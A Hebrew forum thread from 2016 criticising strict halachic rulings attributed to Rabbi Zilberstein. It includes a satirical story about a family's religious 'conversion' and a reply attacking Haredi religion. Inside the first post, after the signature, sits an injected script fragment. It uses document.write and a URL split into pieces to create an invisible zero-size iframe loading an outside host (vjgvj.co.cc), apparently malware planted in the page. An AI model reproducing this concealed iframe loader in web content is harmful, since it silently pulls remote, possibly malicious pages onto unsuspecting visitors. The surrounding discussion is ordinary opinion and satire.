|
|
| נשלח ב-12/9/2016 14:01 |
 |
| |
| מיימוני כתב: |  | הבהרה:
סוף סוף פוענח הרמז של ירוחמ. כוונתו לרב של שכונת רמת אלחנן, שמייחסים לו חומרות ואני עצמי עסקתי בפסקים שלו באשכול מיוחד, "מאה שערי הרב זילברשטיין". (ואף נאלצתי להצדיק את הדיון בפסקים כאלו מחשש של פגיעה בכבוד תורתו, ואולי בצדק).
כמדומה שהרב דן פעם בשאלה כואבת: אשה שהתגיירה ובנה טרם השלים את הגיור שלו, ונפל ונפצע בשבת קודש, ויש להזעיק עבורו אמבולנס, האם מותר לה לחלל שבת לשם כך? וכמדומה שפסק לאסור. אבל ממש רק כמדומה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מעשה היה בשכונתנו, במשפחה של מזרוחניקים שהחליטו לחזור בתשובה שלמה, להמיר את בגדיהם בשמונה בגדים וחולצה לבנה בכל ימות השבוע, ובכלל - להימנות על קהל צאן הקדוישים האמיתי וכו'.
ונדברו והלכו לרב של קהילת קראצמעך שבשכונתם, ואמר להם שייכנסו אצלו אחד-אחד, והוא יושב בחדרו עם עוד שניים מנשואי הפנים של קהילת קראצמעך ("ק"ק), ושם יעשו לכל אחד מהם התרת נדרים כדין, וכך יפסיק להיות מסרוחניק ויגוייר להיות יהודי טוב ואכמ"ל.
עמדו והמתינו בחדר הקבלה, ונכנס האב, עשה מה שעשה ואמר מה שאמר, ויצא משם כשנהרת כל טוב העולם על פניו. נזדרזה ונכנסה אשתו אחריו, וכעבר כך וכך יצאה גם היא ופניה מאירות כאור הלבנה במילואה.
עמד בנם הבכור להיכנס, וקם במהירות מהספסל - אך אבוי! ניגפה רגלו ברגל הספסל ונפל אפרקדן, כשפינת הספסל השני חותכת ברקתו. מייד התעלף הבחור ודמו זב על חולצתו ועל הרצפה.
מיהר אביו בחרדה כדי לראות מה שלומו ולטפל בו, אך נעצר במבט חמור סבר על ידי האם:
"הנח לו. שימות הכלב המסרוחניק הזה".
|
|
|
|
|
| נשלח ב-12/9/2016 14:35 |
|
| |
הרב מימוני.
תבורך, אתה עונה כדרכך בקודש. מלמד זכות.
מה לעשות אני איני רואה זאת כך. אני אבל רואה בחומרה יתירה לא כל כך את הרב זילברשטיין- בעייני הוא באמת תינוק שהפך לרב ונשבה. נשבה עולמית.
הבעיה שלי היא יותר עם השואל- תלמידו של הרב.אדם- מציל אותך מטפל בך מקדיש לך מזמנו הפנוי. אולי חיכו לו ילדיו. ואתה בכלל מעלה בדעתך את האפשרות לא להודות לו? צריכים לשאל את הרב על זה???
סלח לי הרב מימוני. אבל הדת החרדית הזו שמייצג הרב זילברשטיין. השחיתה את הקהל ואת האנשים התמימים.
|
|
|
|
|
